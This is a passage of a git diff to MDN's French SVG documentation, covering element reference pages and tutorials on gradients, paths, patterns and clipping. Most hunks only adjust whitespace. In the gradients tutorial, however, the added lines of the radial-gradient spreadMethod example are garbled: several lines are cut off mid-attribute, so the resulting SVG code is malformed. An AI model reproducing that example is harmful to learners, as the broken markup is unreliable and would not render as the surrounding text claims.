------------------------------------------------------------------------------------------------------------ | ------------------------ | ------------------- | -| {{SpecName('SVG2', 'struct.html#TitleElement', '<title>')}} | {{Spec2('SVG2')}} | | +| {{SpecName('SVG2', 'struct.html#TitleElement', '<title>')}} | {{Spec2('SVG2')}} | | | {{SpecName('SVG1.1', 'struct.html#DescriptionAndTitleElements', '<title>')}} | {{Spec2('SVG1.1')}} | Définition initiale | ## Compatibilité des navigateurs diff --git a/files/fr/web/svg/element/tspan/index.md b/files/fr/web/svg/element/tspan/index.md index 074d07a4fa..c35bb8fc6c 100644 --- a/files/fr/web/svg/element/tspan/index.md +++ b/files/fr/web/svg/element/tspan/index.md @@ -69,7 +69,7 @@ Cet élément implémente l'interface [`SVGTSpanElement`](/fr/docs/Web/API/SVGTS | Spécification | Statut | Commentaire | | ---------------------------------------------------------------------------------------- | ------------------------ | -------------------- | -| {{SpecName('SVG2', 'text.html#TextElement', '<tspan>')}} | {{Spec2('SVG2')}} | | +| {{SpecName('SVG2', 'text.html#TextElement', '<tspan>')}} | {{Spec2('SVG2')}} | | | {{SpecName('SVG1.1', 'text.html#TSpanElement', '<tspan>')}} | {{Spec2('SVG1.1')}} | Définition originale | ## Compatibilité des navigateurs diff --git a/files/fr/web/svg/element/use/index.md b/files/fr/web/svg/element/use/index.md index 6c3e975de4..6bafb70269 100644 --- a/files/fr/web/svg/element/use/index.md +++ b/files/fr/web/svg/element/use/index.md @@ -5,13 +5,13 @@ translation_of: Web/SVG/Element/use --- {{SVGRef}} -L'élement **`<use>`** permet la duplication de _nodes_ (noeuds du DOM, NDR) définis par [\<defs>](/fr/docs/Web/SVG/Element/defs) afin de les insérer par ailleurs. L'effet est le même que si les noeuds étaient créés dans une partie non-rendue (au sens de non-affichée) au sein du DOM puis "clonés" là où est utilisé l'élément `use` tel que le permet les [éléments de gabarit](/fr/docs/Web/HTML/Element/template) grâce à HTML5. +L'élement **`<use>`** permet la duplication de _nodes_ (noeuds du DOM, NDR) définis par [\<defs>](/fr/docs/Web/SVG/Element/defs) afin de les insérer par ailleurs. L'effet est le même que si les noeuds étaient créés dans une partie non-rendue (au sens de non-affichée) au sein du DOM puis "clonés" là où est utilisé l'élément `use` tel que le permet les [éléments de gabarit](/fr/docs/Web/HTML/Element/template) grâce à HTML5. Puisque les noeuds clonés par `use` ne sont pas exposés, vous devez être attentif lorsque vous utilisez des règles de style [CSS](/fr/docs/Web/CSS "en/CSS") sur l'élément `use` et ses enfants "cachés". En effet les attributs CSS ne sont pas garantis d'être hérités lorsqu'ils seront clonés si vous n'explicitez pas correctement les [héritages CSS](/fr/docs/Web/CSS/inheritance "en/CSS/inheritance"). Pour des raisons de sécurité, certains navigateurs peuvent appliquer la politique de _même-origine_ (c'est-à-dire le couple domaine et port identiques) pour l'élément `use` ce qui peut conduire à un refus de charger une URI depuis une origine différente conernant l'attribut {{SVGAttr("href")}}. -> **Attention :** Depuis la version de SVG 2, l'attribut {{SVGAttr("xlink:href")}} est obsolète. Voir la page {{SVGAttr("xlink:href")}} pour plus d'informations. +> **Attention :** Depuis la version de SVG 2, l'attribut {{SVGAttr("xlink:href")}} est obsolète. Voir la page {{SVGAttr("xlink:href")}} pour plus d'informations. ## Contexte d'usage @@ -21,11 +21,11 @@ Pour des raisons de sécurité, certains navigateurs peuvent appliquer la politi ### Attributs globaux -- [Conditional processing attributes](/fr/docs/Web/SVG/Attribute#Conditional_processing_attributes "en/SVG/Attribute#ConditionalProccessing") » -- [Core attributes](/fr/docs/Web/SVG/Attribute#Core_attributes "en/SVG/Attribute#Core") » -- [Graphical event attributes](/fr/docs/Web/SVG/Attribute#Graphical_event_attributes "en/SVG/Attribute#GraphicalEvent") » -- [Presentation attributes](/fr/docs/Web/SVG/Attribute#Presentation_attributes "en/SVG/Attribute#Presentation") » -- [Xlink attributes](/fr/docs/Web/SVG/Attribute#XLink_attributes "en/SVG/Attribute#XLink") » +- [Conditional processing attributes](/fr/docs/Web/SVG/Attribute#Conditional_processing_attributes "en/SVG/Attribute#ConditionalProccessing") » +- [Core attributes](/fr/docs/Web/SVG/Attribute#Core_attributes "en/SVG/Attribute#Core") » +- [Graphical event attributes](/fr/docs/Web/SVG/Attribute#Graphical_event_attributes "en/SVG/Attribute#GraphicalEvent") » +- [Presentation attributes](/fr/docs/Web/SVG/Attribute#Presentation_attributes "en/SVG/Attribute#Presentation") » +- [Xlink attributes](/fr/docs/Web/SVG/Attribute#XLink_attributes "en/SVG/Attribute#XLink") » - {{SVGAttr("class")}} - {{SVGAttr("style")}} - {{SVGAttr("externalResourcesRequired")}} @@ -74,7 +74,7 @@ Cet élément est implanté par l'interface {{domxref("SVGUseElement")}}. | Spécification | Statut | Commentaire | | ------------------------------------------------------------------------------------ | ------------------------ | ------------------ | -| {{SpecName('SVG2', 'struct.html#UseElement', '<use>')}} | {{Spec2('SVG2')}} | | +| {{SpecName('SVG2', 'struct.html#UseElement', '<use>')}} | {{Spec2('SVG2')}} | | | {{SpecName('SVG1.1', 'struct.html#UseElement', '<use>')}} | {{Spec2('SVG1.1')}} | Initial definition | ## Compatibilité des navigateurs diff --git a/files/fr/web/svg/index.md b/files/fr/web/svg/index.md index c153279ae1..903ccf1bcb 100644 --- a/files/fr/web/svg/index.md +++ b/files/fr/web/svg/index.md @@ -20,7 +20,7 @@ translation_of: Web/SVG **[Premiers pas](/fr/SVG/Tutoriel "fr/SVG/Tutoriel")** ce tutoriel vous aidera à débuter en SVG. -SVG est une [recommandation du W3C](http://www.w3.org/Graphics/SVG/) et est basé sur XML. Il est explicitement conçu pour fonctionner avec d'autres standards du [W3C](http://www.w3.org/) comme [CSS](/fr/CSS "fr/CSS"), [DOM](/fr/DOM "fr/DOM") et [SMIL](http://www.w3.org/AudioVideo/). +SVG est une [recommandation du W3C](http://www.w3.org/Graphics/SVG/) et est basé sur XML. Il est explicitement conçu pour fonctionner avec d'autres standards du [W3C](http://www.w3.org/) comme [CSS](/fr/CSS "fr/CSS"), [DOM](/fr/DOM "fr/DOM") et [SMIL](http://www.w3.org/AudioVideo/). SVG est un format d'images vectorielles. Les images vectorielles peuvent être redimensionnées sans perte de qualité, tandis que ce n'est pas possible avec des images matricielles (bitmap). @@ -46,7 +46,7 @@ SVG est une norme développée par le [World Wide Web Consortium (W3C)](https:// - : Cette FAQ est le résultat de recherches au sein du groupe mozilla.dev.tech.svg et des forums de MozillaZine pour connaître les questions les plus souvent posées à propos de SVG dans Mozilla. - Autres ressources - - : Voici d'autres articles à propos de SVG sur MDN : + - : Voici d'autres articles à propos de SVG sur MDN : - [Un tutoriel](/fr/docs/Web/SVG/Tutoriel "/fr/docs/Web/SVG/Tutoriel") - [Une introduction à SVG dans HTML](/fr/docs/Introduction_à_SVG_dans_HTML "/fr/docs/Introduction_à_SVG_dans_HTML") diff --git a/files/fr/web/svg/svg_animation_with_smil/index.md b/files/fr/web/svg/svg_animation_with_smil/index.md index a92f81cae3..fb2ca624bd 100644 --- a/files/fr/web/svg/svg_animation_with_smil/index.md +++ b/files/fr/web/svg/svg_animation_with_smil/index.md @@ -24,7 +24,7 @@ Pour ce faire, on utilise un élément SVG tel que {{ SVGElement("animate") }}. ## Animation pour un attribut -L'exemple suivant anime l'attribut **`cx`** d'un cercle. Pour ce faire, on ajoute un élément {{ SVGElement("animate") }} dans l'élément {{ SVGElement("circle") }}. Les attributs importants pour {{ SVGElement("animate") }} sont : +L'exemple suivant anime l'attribut **`cx`** d'un cercle. Pour ce faire, on ajoute un élément {{ SVGElement("animate") }} dans l'élément {{ SVGElement("circle") }}. Les attributs importants pour {{ SVGElement("animate") }} sont : - **`attributeName`** - : Le nom de l'attribut à animer. @@ -122,5 +122,5 @@ Le même exemple que précédemment mais avec une trajectoire courbe. ## Voir aussi - [SVG](/fr/SVG "en/SVG") -- [SVG Animation Specification](http://www.w3.org/TR/SVG/animate.html) -- [SMIL Specification](http://www.w3.org/TR/REC-smil) +- [SVG Animation Specification](http://www.w3.org/TR/SVG/animate.html) +- [SMIL Specification](http://www.w3.org/TR/REC-smil) diff --git a/files/fr/web/svg/svg_as_an_image/index.md b/files/fr/web/svg/svg_as_an_image/index.md index 52b40872b0..f46ae7df9f 100644 --- a/files/fr/web/svg/svg_as_an_image/index.md +++ b/files/fr/web/svg/svg_as_an_image/index.md @@ -30,10 +30,10 @@ Pour plusieurs raisons, Gecko fixe quelques restrictions sur le format SVG lorsq - [JavaScript](/fr/docs/Web/JavaScript "JavaScript") est désactivé. - Les ressources externes (p. ex. images, stylesheets) ne peuvent pas être chargées, cependant elles peuvent être utilisées en étant déclaré à travers des URLs de données. -- Les liens stylistiques {{cssxref(":visited")}} ne sont pas interprété. +- Les liens stylistiques {{cssxref(":visited")}} ne sont pas interprété. - Les widgets stylistiques natifs aux plateformes (basés sur le thème de l'OS) sont désactivés. -A noter que les restrictions précédentes sont spécifiques à l'usage de SVG en tant qu'image; elles ne s'appliquent pas lorsque le contenu SVG est vu directement, ou lorsque il est embarqué en tant que document via les éléments {{HTMLElement("iframe")}}, {{HTMLElement("object")}}, ou {{HTMLElement("embed")}} +A noter que les restrictions précédentes sont spécifiques à l'usage de SVG en tant qu'image; elles ne s'appliquent pas lorsque le contenu SVG est vu directement, ou lorsque il est embarqué en tant que document via les éléments {{HTMLElement("iframe")}}, {{HTMLElement("object")}}, ou {{HTMLElement("embed")}} ## Spécifications diff --git a/files/fr/web/svg/tutorial/basic_transformations/index.md b/files/fr/web/svg/tutorial/basic_transformations/index.md index de9f5fa712..ae936d5c72 100644 --- a/files/fr/web/svg/tutorial/basic_transformations/index.md +++ b/files/fr/web/svg/tutorial/basic_transformations/index.md @@ -53,7 +53,7 @@ Appliquer une rotation à un élément est assez simple : il suffit d'utiliser l </svg> ``` -Cet exemple montre un carré pivoté de 45°. La valeur de la rotation doit être définie en degrés. +Cet exemple montre un carré pivoté de 45°. La valeur de la rotation doit être définie en degrés. {{ EmbedLiveSample('Rotation', '31', '31') }} diff --git a/files/fr/web/svg/tutorial/clipping_and_masking/index.md b/files/fr/web/svg/tutorial/clipping_and_masking/index.md index 905c2c5eaf..00dd9920c5 100644 --- a/files/fr/web/svg/tutorial/clipping_and_masking/index.md +++ b/files/fr/web/svg/tutorial/clipping_and_masking/index.md @@ -9,7 +9,7 @@ original_slug: Web/SVG/Tutoriel/Découpages_et_masquages --- {{ PreviousNext("SVG/Tutoriel/Transformations_de_base", "Web/SVG/Tutoriel/Contenu_embarque_SVG") }} -Effacer une partie de ce que l'on a créé précédemment peut paraître maladroit, voire totalement contradictoire. Mais cela peut se révéler très utile, par exemple quand vous essayez de dessiner un demi-cercle. +Effacer une partie de ce que l'on a créé précédemment peut paraître maladroit, voire totalement contradictoire. Mais cela peut se révéler très utile, par exemple quand vous essayez de dessiner un demi-cercle. Le **découpage** (_clipping_) correspond au fait d'enlever des morceaux d'élément. Dans ce cas là, les effets de transparence ne sont pas permis, il s'agit d'une approche du tout-ou-rien. diff --git a/files/fr/web/svg/tutorial/gradients/index.md b/files/fr/web/svg/tutorial/gradients/index.md index c1159e92aa..662d5036bb 100644 --- a/files/fr/web/svg/tutorial/gradients/index.md +++ b/files/fr/web/svg/tutorial/gradients/index.md @@ -159,39 +159,39 @@ Cet attribut contrôle ce qu'il arrive quand le dégradé arrive à sa fin, mais ```html <svg width="220" height="220" version="1.1" xmlns="http://www.w3.org/2000/svg"> - <defs> - <!-- pad --> - <radialGradient id="GradientPad" - cx="0.5" cy="0.5" r="0.4" fx="0.75" fy="0.75" - spreadMethod="pad"> - <stop offset="0%" stop-color="red"/> - <stop offset="100%" stop-color="blue"/> - </radialGradient> - - <!-- repeat --> - <radialGradient id="GradientRepeat" - cx="0.5" cy="0.5" r="0.4" fx="0.75" fy="0.75" - spreadMethod="repeat"> - <stop offset="0%" stop-color="red"/> - <stop offset="100%" stop-color="blue"/> - </radialGradient> - - <!-- reflect --> - <radialGradient id="GradientReflect" - cx="0.5" cy="0.5" r="0.4" fx="0.75" fy="0.75" - spreadMethod="reflect"> - <stop offset="0%" stop-color="red"/> - <stop offset="100%" stop-color="blue"/> - </radialGradient> - </defs> - - <rect x="10" y="10" rx="15" ry="15" width="100" height="100" fill="url(#GradientPad)"/> - <rect x="10" y="120" rx="15" ry="15" width="100" height="100" fill="url(#GradientRepeat)"/> - <rect x="120" y="120" rx="15" ry="15" width="100" height="100" fill="url(#GradientReflect)"/> - - <text x="15" y="30" fill="white" font-family="sans-serif" font-size="12pt">Pad</text> - <text x="15" y="140" fill="white" font-family="sans-serif" font-size="12pt">Repeat</text> - <text x="125" y="140" fill="white" font-family="sans-serif" font-size="12pt">Reflect</text> + <defs> + <!-- pad --> + <radialGradient id="GradientPad" + cx="0.5" cy="0.5" r="0.4" fx="0.75" fy="0.75" + spreadMethod="pad"> + <stop offset="0%" stop-color="red"/> + <stop offset="100%" stop-color="blue"/> + </radialGradient> + + <!-- repeat --> + <radialGradient id="Gradient + cx="0.5" cy= + spreadMethod + <stop offset="0% + <stop offset="10 + </radialGradient + + <!-- reflect --> + <radialGradient id="GradientR + cx="0.5" cy="0.5" r="0.4" fx="0. + spreadMethod="reflect"> + <stop offset="0%" stop-color="red"/> + <stop offset="100%" stop-color="blue"/> + </radialGradient> + </defs> + + <rect x="10" y="10" rx="15" ry="15" width="100" height="100" fill="url(#GradientPad)"/> + <rect x="10" y="120" rx="15" ry="15" width="100" height="100" fill="url(#GradientRepeat)"/> + <rect x="120" y="120" rx="15" ry="15" width="100" height="100" fill="url(#GradientReflect)"/> + + <text x="15" y="30" fill="white" font-family="sans-serif" font-size="12pt">Pad</text> + <text x="15" y="140" fill="white" font-family="sans-serif" font-size="12pt">Repeat</text> + <text x="125" y="140" fill="white" font-family="sans-serif" font-size="12pt">Reflect</text> </svg> ``` diff --git a/files/fr/web/svg/tutorial/introduction/index.md b/files/fr/web/svg/tutorial/introduction/index.md index 35d706917c..dec87d20bd 100644 --- a/files/fr/web/svg/tutorial/introduction/index.md +++ b/files/fr/web/svg/tutorial/introduction/index.md @@ -13,7 +13,7 @@ SVG est un langage [XML](/fr/XML "XML"), assez similaire au [XHTML](/fr/XHTML "f La seconde particularité est que vous allez pouvoir lire le code. Stop ! Lire une image ? Et oui, cela vient du fait que SVG dérive du XML. Nous verrons dans ce tutoriel que le code SVG reste (la plupart du temps) humainement lisible. C'est aussi sympa car on va pouvoir le transformer en arbre DOM et ainsi le manipuler, avec du CSS et / ou du Javascript. -SVG est apparu en 1999, après que plusieurs formats concurrents aient été soumis au [W3C](http://www.w3.org "en-US/W3C") sans succès. SVG est pris en charge par tous les [principaux navigateurs](https://caniuse.com/#search=svg). Un inconvénient est que le chargement SVG peut être lent. En contrepartie, l'avantage c'est de disposer du DOM et de ne pas nécessiter d'extensions tierces. Choisir d'utiliser ou non SVG dépend souvent des cas d'utilisation. +SVG est apparu en 1999, après que plusieurs formats concurrents aient été soumis au [W3C](http://www.w3.org "en-US/W3C") sans succès. SVG est pris en charge par tous les [principaux navigateurs](https://caniuse.com/#search=svg). Un inconvénient est que le chargement SVG peut être lent. En contrepartie, l'avantage c'est de disposer du DOM et de ne pas nécessiter d'extensions tierces. Choisir d'utiliser ou non SVG dépend souvent des cas d'utilisation. ## Les ingrédients de base @@ -29,7 +29,7 @@ Il y a un certain nombre de logiciels de dessin disponibles qui utilisent SVG co > **Note :** Tous les visionneurs SVG ne sont pas égaux, il est donc probable que quelque chose écrit pour une application ne s'affiche pas exctement de la même manière dans une autre, simplement parce qu'ils prennent en charge différentes spécifications SVG, CSS ou JavaScript. -Avant de commencer, vous devez avoir une compréhension basique du XML ou d'un autre langage de balisage comme le [HTML](/fr/HTML "fr/HTML"). Si vous n'êtes pas à l'aise avec le XML, voici quelques règles à garder en-tête : +Avant de commencer, vous devez avoir une compréhension basique du XML ou d'un autre langage de balisage comme le [HTML](/fr/HTML "fr/HTML"). Si vous n'êtes pas à l'aise avec le XML, voici quelques règles à garder en-tête : - Les éléments et attributs SVG sont sensibles à la casse (contrairement au HTML et doivent donc tous être entrés avec la casse indiquée ici). - Les valeurs des attributs en SVG doivent être placées entre guillemets même si ce sont des nombres. diff --git a/files/fr/web/svg/tutorial/paths/index.md b/files/fr/web/svg/tutorial/paths/index.md index 996b502a0e..13529ed237 100644 --- a/files/fr/web/svg/tutorial/paths/index.md +++ b/files/fr/web/svg/tutorial/paths/index.md @@ -13,11 +13,11 @@ L’élément [`<path>`](/fr/Web/SVG/Element/path) (_chemin_ en français) est l Les chemins créent des formes en combinant plusieurs lignes droites ou courbes. Les formes composées uniquement de lignes droites peuvent être crées avec des [lignes brisées](/fr/docs/Web/SVG/Tutoriel/Formes_de_base#Lignes_brisées) (_polylines_). Bien que les lignes brisées et les chemins peuvent tout deux créer des formes d’apparence similaire, les lignes brisées nécessitent un grand nombre de petites lignes pour simuler des courbes, et qui ne s’adaptent pas bien aux grandes tailles. Une bonne compréhension des chemins est importante pour dessiner en SVG. Bien qu’il ne soit pas recommandé d'éditer des chemins complexes avec un éditeur XML ou texte (on utilisera plutôt un éditeur SVG tel que Inkscape ou Adobe Illustrator), comprendre comment un chemin s'écrit vous permettra éventuellement d’identifier et de corriger des erreurs d’affichage dans un SVG. -La forme d’un élément path est définie par son attribut {{ SVGAttr("d") }}. Celui-ci prend pour valeur une série de commandes suivi de paramètres utilisés par ces commandes. +La forme d’un élément path est définie par son attribut {{ SVGAttr("d") }}. Celui-ci prend pour valeur une série de commandes suivi de paramètres utilisés par ces commandes. -Chacune des commandes est instanciée par une lettre spécifique. Par exemple, pour se positionner aux coordonnées (10, 10), on utilise la commande `M` (pour _MoveTo,_ « aller à ») suivit des coordonées: "M 10 10". Quand l’interpréteur rencontre une lettre, il comprend que vous invoquez une commande, et les nombres qui suivent sont les paramètres de la commande. +Chacune des commandes est instanciée par une lettre spécifique. Par exemple, pour se positionner aux coordonnées (10, 10), on utilise la commande `M` (pour _MoveTo,_ « aller à ») suivit des coordonées: "M 10 10". Quand l’interpréteur rencontre une lettre, il comprend que vous invoquez une commande, et les nombres qui suivent sont les paramètres de la commande. -De plus, toutes les commandes se présentent sous deux formes: une **lettre majuscule** spécifie des coordonnées absolues dans la page, une **lettre minuscule** spécifie des coordonées relatives (par exemple, « aller à 10px vers le haut et 7px vers la gauche depuis le point précédent »). +De plus, toutes les commandes se présentent sous deux formes: une **lettre majuscule** spécifie des coordonnées absolues dans la page, une **lettre minuscule** spécifie des coordonées relatives (par exemple, « aller à 10px vers le haut et 7px vers la gauche depuis le point précédent »). Les coordonnées dans l’attribut `d` sont **toujours sans unité** et par conséquent dans le système de coordonnées utilisateur. Par la suite, nous apprendrons comment les chemins peuvent être transformés pour répondre à d’autres besoins. @@ -27,7 +27,7 @@ Il existe cinq commandes pour tracer des lignes avec un élément `<path>`. Ces ### MoveTo -La première commande, « aller à », invoquée avec `M` (_MoveTo_), a été décrite ci-dessus. Elle prend en paramètres les coordonnées `x` et `y` où se rendre. Aucun trait n’est dessiné, le curseur est simplement déplacé dans la page. La commande « aller à » apparaît au début d’un chemin pour spécifier à quel endroit le dessin doit commencer. Par exemple : +La première commande, « aller à », invoquée avec `M` (_MoveTo_), a été décrite ci-dessus. Elle prend en paramètres les coordonnées `x` et `y` où se rendre. Aucun trait n’est dessiné, le curseur est simplement déplacé dans la page. La commande « aller à » apparaît au début d’un chemin pour spécifier à quel endroit le dessin doit commencer. Par exemple : M x y @@ -50,7 +50,7 @@ Dans l’exemple suivant, on se place au point (10, 10). Notez cependant qu'à c ### LineTo, Horizontal LineTo, Vertical LineTo -Il y a trois commandes qui dessinent des lignes. La plus générique est la commande « ligne vers », invoquée avec `L` (_LineTo_). `L` prend deux paramètres, les coordonnées `x` et `y`, et dessine une ligne depuis la position actuelle vers la nouvelle position. +Il y a trois commandes qui dessinent des lignes. La plus générique est la commande « ligne vers », invoquée avec `L` (_LineTo_). `L` prend deux paramètres, les coordonnées `x` et `y`, et dessine une ligne depuis la position actuelle vers la nouvelle position. L x y (ou l dx dy) @@ -59,7 +59,7 @@ Il existe deux formes abrégées pour dessiner des lignes horizontales ou vertic H x (ou h dx) V y (ou v dy) -Afin de commencer facilement, nous allons dessiner une forme simple, un rectangle (qu'on aurait aussi pu dessiner avec un élément `<rect>`). Il est composé uniquement de lignes horizontales et verticales : +Afin de commencer facilement, nous allons dessiner une forme simple, un rectangle (qu'on aurait aussi pu dessiner avec un élément `<rect>`). Il est composé uniquement de lignes horizontales et verticales :  @@ -77,11 +77,11 @@ Afin de commencer facilement, nous allons dessiner une forme simple, un rectangl ### ClosePath -On aurait pu raccourcir un peu la déclaration de l'exemple ci-dessus en utilisant la commande « fermer le chemin », invoquée avec `Z` (_ClosePath_). Cette commande dessine une ligne droite entre la position actuelle et le premier point du chemin. Elle est souvent placée à la fin du `path`, mais pas toujours. Il n’y a pas de différence entre la commande en majuscule et en minuscule. +On aurait pu raccourcir un peu la déclaration de l'exemple ci-dessus en utilisant la commande « fermer le chemin », invoquée avec `Z` (_ClosePath_). Cette commande dessine une ligne droite entre la position actuelle et le premier point du chemin. Elle est souvent placée à la fin du `path`, mais pas toujours. Il n’y a pas de différence entre la commande en majuscule et en minuscule. Z (ou z) -Ainsi, notre chemin précédent peut se raccourcir comme ceci: +Ainsi, notre chemin précédent peut se raccourcir comme ceci: ```xml <path d="M10 10 H 90 V 90 H 10 Z" fill="transparent" stroke="black"/> @@ -103,7 +103,7 @@ Dans ces exemples, il serait probablement plus simple d’utiliser un élément ## Commandes pour les courbes -Il existe trois commandes différentes pour créer des courbes. Deux d’entre elles sont des courbes de Bézier, et la troisième est un « arc » ou section de cercle. Il se peut que vous ayez déjà acquis une expérience pratique avec les courbes de Bézier en utilisant les outils de chemins avec Inkscape, Illustrator ou Photoshop. Pour une description complète des concepts mathématiques sous-jacents, vous pouvez consulter la [page Wikipedia Courbe de Bézier](https://fr.wikipedia.org/wiki/Courbe_de_B%C3%A9zier). +Il existe trois commandes différentes pour créer des courbes. Deux d’entre elles sont des courbes de Bézier, et la troisième est un « arc » ou section de cercle. Il se peut que vous ayez déjà acquis une expérience pratique avec les courbes de Bézier en utilisant les outils de chemins avec Inkscape, Illustrator ou Photoshop. Pour une description complète des concepts mathématiques sous-jacents, vous pouvez consulter la [page Wikipedia Courbe de Bézier](https://fr.wikipedia.org/wiki/Courbe_de_B%C3%A9zier). Il existe une infinité de courbes de Bézier, mais seulement deux des plus simples d’entre elles sont disponibles dans les éléments `path`: l’une cubique, invoquée avec `C`, et l’autre quadratique, invoquée avec `Q`. @@ -205,7 +205,7 @@ L'élément arc part du point actuel vers le point d'arrivée (x, y) en parcoura #### x-axis-rotation -`x-axis-rotation` décrit la rotation de l’arc. Il s’explique plus facilement avec un exemple: +`x-axis-rotation` décrit la rotation de l’arc. Il s’explique plus facilement avec un exemple:  @@ -213,7 +213,7 @@ L'élément arc part du point actuel vers le point d'arrivée (x, y) en parcoura <svg width="320" height="320" xmlns="http://www.w3.org/2000/svg"> <line x1="10" y1="315" x2="315" y2="10" stroke="black" stroke-width="2" /> - <path d="M110 215 a 30 50 0 0 1 52.55 -52.45" fill="#7FBF7F" stroke="black" stroke-width="2" /> + <path d="M110 215 a 30 50 0 0 1 52.55 -52.45" fill="#7FBF7F" stroke="black" stroke-width="2" /> <path d="M172.55 152.45 a 30 50 -45 0 1 42.55 -42.55" fill="#7FBF7F" stroke="black" stroke-width="2" /> </svg> ``` @@ -269,7 +269,7 @@ Pour un rayon `rx` et un rayon `ry` donnés, il existe deux ellipses pouvant con Pour chacune des deux ellipses, il existe deux chemins possibles, ce qui donne quatre chemins possibles. -`large-arc-flag` détermine simplement si l’arc doit être supérieur ou inférieur à 180 degrés ; au final, il détermine dans quelle direction l’arc va parcourir une ellipse donnée. +`large-arc-flag` détermine simplement si l’arc doit être supérieur ou inférieur à 180 degrés ; au final, il détermine dans quelle direction l’arc va parcourir une ellipse donnée. ```html <!-- large-arc-flag: 0 --> diff --git a/files/fr/web/svg/tutorial/patterns/index.md b/files/fr/web/svg/tutorial/patterns/index.md index 4f598d9087..bbfbb74002 100644 --- a/files/fr/web/svg/tutorial/patterns/index.md +++ b/files/fr/web/svg/tutorial/patterns/index.md @@ -15,24 +15,24 @@ Les motifs (_patterns_ en anglais) sont sans aucun doute les types de remplissag ```html <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg"> - <defs> - <linearGradient id="Gradient1"> - <stop offset="5%" stop-color="white"/> - <stop offset="95%" stop-color="blue"/> - </linearGradient> - <linearGradient id="Gradient2" x1="0" x2="0" y1="0" y2="1"> - <stop offset="5%" stop-color="red"/> - <stop offset="95%" stop-color="orange"/> - </linearGradient> - - <pattern id="Pattern" x="0" y="0" width=".25" height=".25"> - <rect x="0" y="0" width="50" height="50" fill="skyblue"/> - <rect x="0" y="0" width="25" height="25" fill="url(#Gradient2)"/> - <circle cx="25" cy="25" r="20" fill="url(#Gradient1)" fill-opacity="0.5"/> - </pattern> - </defs> - - <rect fill="url(#Pattern)" stroke="black" width="200" height="200"/> + <defs> + <linearGradient id="Gradient1"> + <stop offset="5%" stop-color="white"/> + <stop offset="95%" stop-color="blue"/> + </linearGradient> + <linearGradient id="Gradient2" x1="0" x2="0" y1="0" y2="1"> + <stop offset="5%" stop-color="red"/> + <stop offset="95%" stop-color="orange"/> + </linearGradient> + + <pattern id="Pattern" x="0" y="0" width=".25" height=".25"> + <rect x="0" y="0" width="50" height="50" fill="skyblue"/> + <rect x="0" y="0" width="25" height="25" fill="url(#Gradient2)"/> + <circle cx="25" cy="25" r="20" fill="url(#Gradient1)" fill-opacity="0.5"/> + </pattern> + </defs> + + <rect fill="url(#Pattern)" stroke="black" width="200" height="200"/> </svg> ``` @@ -46,7 +46,7 @@ La partie pouvant apporter le plus de confusion avec les motifs est le système Les attributs `width` et `height` sur l'élément `pattern` décrivent jusqu'où le motif doit aller avant de se répéter. Les attributs `x` et `y` sont également disponibles si vous souhaitez décaler le point de départ du motif à l'intérieur du dessin. -Même principe que l'attribut `gradientUnits` (que nous avons vu précédemment avec les dégradés), les motifs peuvent prendre un attribut `patternUnits`, pour spécifier l'unité utilisée par le motif. La valeur par défaut est "objectBoundingBox", ainsi une taille de 1 remplira entièrement la hauteur/largeur de l'objet auquel le motif est appliqué. Puisque dans notre cas, on veut que le motif se répète 4 fois horizontalement et verticalement, on a définit `height` et `width` à 0.25. Cela signifie que la hauteur et largeur du pattern sera de 25% celle de l'objet. +Même principe que l'attribut `gradientUnits` (que nous avons vu précédemment avec les dégradés), les motifs peuvent prendre un attribut `patternUnits`, pour spécifier l'unité utilisée par le motif. La valeur par défaut est "objectBoundingBox", ainsi une taille de 1 remplira entièrement la hauteur/largeur de l'objet auquel le motif est appliqué. Puisque dans notre cas, on veut que le motif se répète 4 fois horizontalement et verticalement, on a définit `height` et `width` à 0.25. Cela signifie que la hauteur et largeur du pattern sera de 25% celle de l'objet. De même, pour que le motif commence à 10 pixels du bord supérieur-gauche de l'objet, il faudrait définir les valeurs de `x` et `y` à 0.05 (10/200 = 0.05). @@ -62,29 +62,29 @@ La chose à retenir est que si l'objet change de taille, le motif lui-même sera ```html hidden <svg width="600" height="200" xmlns="http://www.w3.org/2000/svg" id="svg" class="playable-svg"> - <defs> - <linearGradient id="Gradient1"> - <stop offset="5%" stop-color="white"/> - <stop offset="95%" stop-color="blue"/> - </linearGradient> - <linearGradient id="Gradient2" x1="0" x2="0" y1="0" y2="1"> - <stop offset="5%" stop-color="red"/> - <stop offset="95%" stop-color="orange"/> - </linearGradient> - - <pattern id="Pattern" x="0" y="0" width=".25" height=".25"> - <rect x="0" y="0" width="50" height="50" fill="skyblue"/> - <rect x="0" y="0" width="25" height="25" fill="url(#Gradient2)"/> - <circle cx="25" cy="25" r="20" fill="url(#Gradient1)" fill-opacity="0.5"/> - </pattern> - </defs> - - <rect fill="url(#Pattern)" stroke="black" width="200" height="200"/> + <defs> + <linearGradient id="Gradient1"> + <stop offset="5%" stop-color="white"/> + <stop offset="95%" stop-color="blue"/> + </linearGradient> + <linearGradient id="Gradient2" x1="0" x2="0" y1="0" y2="1"> + <stop offset="5%" stop-color="red"/> + <stop offset="95%" stop-color="orange"/> + </linearGradient> + + <pattern id="Pattern" x="0" y="0" width=".25" height=".25"> + <rect x="0" y="0" width="50" height="50" fill="skyblue"/> + <rect x="0" y="0" width="25" height="25" fill="url(#Gradient2)"/> + <circle cx="25" cy="25" r="20" fill="url(#Gradient1)" fill-opacity="0.5"/> + </pattern> + </defs> + + <rect fill="url(#Pattern)" stroke="black" width="200" height="200"/> </svg> <div class="playable-buttons"> - <input id="edit" type="button" value="Edit" /> - <input id="reset" type="button" value="Reset" /> + <input id="edit" type="button" value="Edit" /> + <input id="reset" type="button" value="Reset" /> </div> <textarea id="code" class="playable-code"> rect.setAttribute('width', 300);</textarea> @@ -134,29 +134,29 @@ Maintenant, parce le contenu du motif utilise le même système d'unité que le ```html hidden <svg width="600" height="200" xmlns="http://www.w3.org/2000/svg" id="svg" class="playable-svg"> - <defs> - <linearGradient id="Gradient1"> - <stop offset="5%" stop-color="white"/> - <stop offset="95%" stop-color="blue"/> - </linearGradient> - <linearGradient id="Gradient2" x1="0" x2="0" y1="0" y2="1"> - <stop offset="5%" stop-color="red"/> - <stop offset="95%" stop-color="orange"/> - </linearGradient> - - <pattern id="Pattern" width=".25" height=".25" patternContentUnits="objectBoundingBox"> - <rect x="0" y="0" width=".25" height=".25" fill="skyblue"/> - <rect x="0" y="0" width=".125" height=".125" fill="url(#Gradient2)"/> - <circle cx=".125" cy=".125" r=".1" fill="url(#Gradient1)" fill-opacity="0.5"/> - </pattern> - </defs> - - <rect fill="url(#Pattern)" stroke="black" width="200" height="200"/> + <defs> + <linearGradient 